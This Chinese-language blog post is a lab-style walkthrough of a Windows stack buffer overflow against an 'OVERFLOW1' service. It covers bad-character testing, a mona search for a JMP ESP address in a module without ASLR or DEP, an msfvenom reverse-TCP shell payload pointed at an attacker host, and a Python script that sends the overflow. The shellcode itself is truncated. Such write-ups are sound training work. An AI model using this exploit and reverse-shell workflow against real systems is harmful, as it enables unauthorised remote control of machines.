執行上面的python後,把output貼到上面code的badchar變數,然後發現誰是badchar後就把那個16進位刪掉,再次重貼到badchar變數,再重複一次測試。

比如說貼上除\x00以外的所有輸出,重新運行poc後可以看到右下角窗口:

反藍那一行由右至左看(因為big endian),可以發現05、06直接跳到0A,代表07有問題。所以程式碼去掉0x07後再來一次,繼續試其他char。經過測試,badchar為\x00\x07\x2e\xa0

我們剛剛提到找出一個好用的EIP,應該說找出一個好用的Instruction,讓我們可以跳轉到我們的Stack的地方,然後在Stack去執行惡意的Shellcode,那我們要怎麼找? 我們可以透過這個mona,那這邊這一串基本上就是我呼叫mona這個Plugin,找出我要Jump,目標是ESP,然後我的Badchar是這四個,我要把它排除:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

這樣子的話Mona就會替我們找出我們所需要的Output:

可以看到這個Result這個地方有許多的jump ESP,值得注意的是這些Address也不包含這些Badchar,因為你的EIP是要塞這個Address,如果有Badchar,那也會不見。

接下來要看的是這幾個Function Address。他都是Jump ESP,可是這些每一個Instruction或是說這些位置,他可能是從不同的Library來的。那這個範例中都是從這個ESS FUNC.DLL來的,意思是說只有這個DLL可以選。為什麼我會說DLL很重要? 因為Buffer Overflow攻擊微軟他也知道,那他也針對這樣的攻擊去做了很多的Protection,比如說像ASLR地址隨機化,每次執行的時候這些都會是不同的位置,讓攻擊者沒有辦法去預測說我這一次Exploit發出去之後,他的EIP,這個Jump ESP的位置在哪裡。可能這個Result每次都會不一樣,進而達成防禦的目的。他頂多就只能造成Denial of Service,沒有辦法精準的跳躍。

當然還有其他Protection比如說DEP,Data Execution Prevention。如果他Library有這樣的Protection機制的話,我們就沒有辦法在Stack的區域去執行我們的Shell Code,這兩個是比較常見的Protection。不過你在做Mona的時候基本上你只要看到這邊這一排全部都是False,基本上就沒有太大的問題。就盡量選False,最多的就最好。第一個這個ASLR一定要是False,讓我們的地址能夠不被隨機化,我每一次發Exploit都會精準跳在這個位置。

覆蓋了EIP之後,EIP等於這個Jump ESP,然後在我們的Padding的地方就可以放入我們編出來的惡意的Shellcode。那我們可以用msfvenom來達成這件事情。那怎麼做呢? 大概是這樣子,我們先選一個Windows,然後Shell Reverse TCP,一個很簡單的Payload,輸入我們的Localhost跟Localport,然後Exit function,我們這時候用Thread或Process都可以,那Format是C,就是我們等一下要放入Python的Shellcode的Format,那-a是Architecture,是x86就是32-bit,那-b就是我們剛剛測出來的Badchar:

msfvenom -p windows/shell_reverse_tcp LHOST=10.4.51.39 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00\x07\x2e\xa0"

-p payload
LHOST 攻擊者(kali) IP address
LPORT 攻擊者(kali) port number
EXITFUNC 結束shellcode時的方法,這邊使用thread即可
-f shellcode output format
-a 架構: x86為 32bits
-b bad char

那我們來測試一下:

那現在問題來了。我們要改一下我們的EIP,但是在Windows的作業系統中他是一個Little Endian。什麼是Little Endian? 就是你在這一個EIP你所放的東西,在這個裡面他會反過來呈現。也就是說你今天如果你指明要做一個測試,這邊我不要BBBB,用BBAA,可以看到我這邊的EIP是BBAA。進到這個Immunity Debugger,可以看到我們的EIP變成41414242,其實是我們的AABB剛好反過來。那在後面的這些我們的Payload其實是不變的,就是因為EIP他會在解讀的時候會逆著去解讀。但是在其他你做Assembly的時候他不會這樣子逆著去解讀,所以在這個這個EIP的地方我們要很小心,一定要反過來。反過來是要怎麼寫? 原本是625011AF,那這邊就變成0XAF、0X11、0X50、0X62,把它複製起來:

import socket

ip = "10.10.11.175" # IP要注意
port = 1337

prefix   = "OVERFLOW1 "
overflow = "A" * 1978
eip      = "\xaf\x11\x50\x62" # 0x625011af
padding  = "\x90" * 32
payload = ("\xbe\xa2\xfa...\x4d\x4f\xf3")

print(len(payload))

buffer = prefix + overflow + eip + padding + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

成功得到reverse shell:










Related Posts

[Vue 學習筆記(一)]學習資源

[Vue 學習筆記(一)]學習資源

CS50 IP (Internet Protocol)

CS50 IP (Internet Protocol)

有感而發的一天

有感而發的一天


Comments